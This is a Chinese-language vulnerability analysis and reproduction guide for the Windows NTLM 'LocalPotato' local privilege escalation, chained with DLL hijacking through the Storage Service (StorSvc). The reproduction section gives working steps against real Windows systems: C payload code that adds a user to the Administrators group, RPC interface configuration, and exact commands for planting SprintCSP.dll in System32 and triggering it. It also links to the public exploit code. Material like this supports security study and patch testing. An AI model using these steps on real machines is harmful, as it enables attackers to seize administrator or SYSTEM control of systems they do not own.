Windows NTLM 在进行身份验证时存在漏洞“LocalPotato”,允许拥有低权限的本地攻击者通过运行特制程序将权限提升至SYSTEM。
影响版本: | ||
Windows Server 2012 R2 Windows RT 8.1 Windows 8.1 for x64-based systems Windows 8.1 for 32-bit systems Windows 7 for x64-based Systems Service Pack 1 Windows 7 for 32-bit Systems Service Pack 1 Windows Server 2016 (Server Core installation) Windows Server 2016 Windows Server 2022 (Server Core installation) Windows Server 2022 Windows Server 2012 (Server Core installation) Windows Server 2012 Windows Server 2008 R2 for x64-based Systems Service Pack 1 (Server Core installation) Windows Server 2008 R2 for x64-based Systems Service Pack 1 Windows Server 2012 R2 (Server Core installation) Windows 10 Version 1607 for x64-based Systems Windows 10 Version 1607 for 32-bit Systems Windows 10 for x64-based Systems Windows 10 for 32-bit Systems Windows 10 Version 22H2 for 32-bit Systems Windows 10 Version 22H2 for ARM64-based Systems Windows 10 Version 22H2 for x64-based Systems Windows 11 Version 22H2 for x64-based Systems Windows 11 Version 22H2 for ARM64-based Systems Windows 10 Version 21H2 for x64-based Systems Windows 10 Version 21H2 for ARM64-based Systems Windows 10 Version 21H2 for 32-bit Systems Windows 11 version 21H2 for ARM64-based Systems Windows 11 version 21H2 for x64-based Systems Windows 10 Version 20H2 for ARM64-based Systems Windows 10 Version 20H2 for 32-bit Systems Windows 10 Version 20H2 for x64-based Systems Windows Server 2019 (Server Core installation) Windows Server 2019 Windows 10 Version 1809 for ARM64-based Systems Windows 10 Version 1809 for x64-based Systems Windows 10 Version 1809 for 32-bit Systems |
1.1 NTLM本地身份验证
1.2 NTLM 漏洞利用
在本地的同一台机器上,会存在一个“中间人”,也就是我们熟悉的LSASS,它在NTLM本地认证过程中,担任中间人的角色,负责的工作很多,包括生成message、生成对应token值、检查身份许可等等,因为全部本地NTLM认证都调用LSASS完成,也就导致了接下来的漏洞利用方式。
1.3 NTLM漏洞攻击
1.4 Windows提权
为了实现实战中可以利用该漏洞的目的,需要重新找到一种方法让写入的文件被调用。这种方法不止一种,这里介绍一种比较新的提权方式:LPE via StorSvc。具体来说,这就是一个标准的dll劫持方法,只是这里用到的位置是在windows系统中。
Storage Service是 Win32 服务。当所有版本的 Windows10 2004、 Windows10 20H2、 Windows10 21H1、 Windows10 21H2、 Windows10 22H2中的操作系统启动时,此服务将自动启动。当 Storage Service 启动时,它在 svchost.exe 和其他服务的共享进程中作为 Local System 运行。 Storage服务使用位于 C: Windows system32目录中的 StorSvc.dll 文件。
2 漏洞复现:
复现环境:
windows10 20H2
2.1 exp代码参考:https://github.com/blackarrowsec/redteam-research/tree/master/LPE%20via%20StorSvc
https://github.com/decoder-it/LocalPotato
打开 LPE via StorSvc\RpcClient\RpcClient\storsvc_c.c ,根据环境选择正确 RPC 接口标识符。
#if defined(_M_AMD64)
//#define WIN10
//#define WIN11
#define WIN2019
//#define WIN2022
...
打开 LPE via StorSvc\SprintCSP\SprintCSP\main.c ,根据需要选择执行的命令。
void DoStuff() {
// Replace all this code by your payload
STARTUPINFO si = { sizeof(STARTUPINFO) };
PROCESS_INFORMATION pi;
CreateProcess(L"c:\\windows\\system32\\cmd.exe",L" /C net localgroup administrators user /add",
NULL, NULL, FALSE, NORMAL_PRIORITY_CLASS, NULL, L"C:\\Windows", &si, &pi);
CloseHandle(pi.hProcess);
CloseHandle(pi.hThread);
return;
}
分别在Visual Studio中编译出SprintCSP.dll、RpcClient.exe和localpotato.exe文件。
2.2 复现:
验证当前用户是否属于该 组:Administrators
net user user
通过使用 LocalPotato,将 SprintCSP.dll 复制到 system32 中
LocalPotato.exe -i SprintCSP.dll -o \Windows\System32\SprintCSP.dll
运行RpcClient.exe以触发对SprintCSP.dll的调用,有效地执行 DLL 中的有效负载:
./RpcClient.exe
结果为:[+] Dll hijack triggered! ,证明有可能攻击成功了(攻击不成功也是有可能返回这个结果的,需要具体情况具体分析)
注意:对同目标的第二次攻击是会提示需要重启StorSvc服务的,否则无法完成攻击,但这个服务的重启又需要管理员的权限,低权限用户只能通过重启解决这个问题:
重启或注销用户,登入后再次验证当前用户是否属于该 组:Administrators
net user user
成功完成本地提权。
参考文献: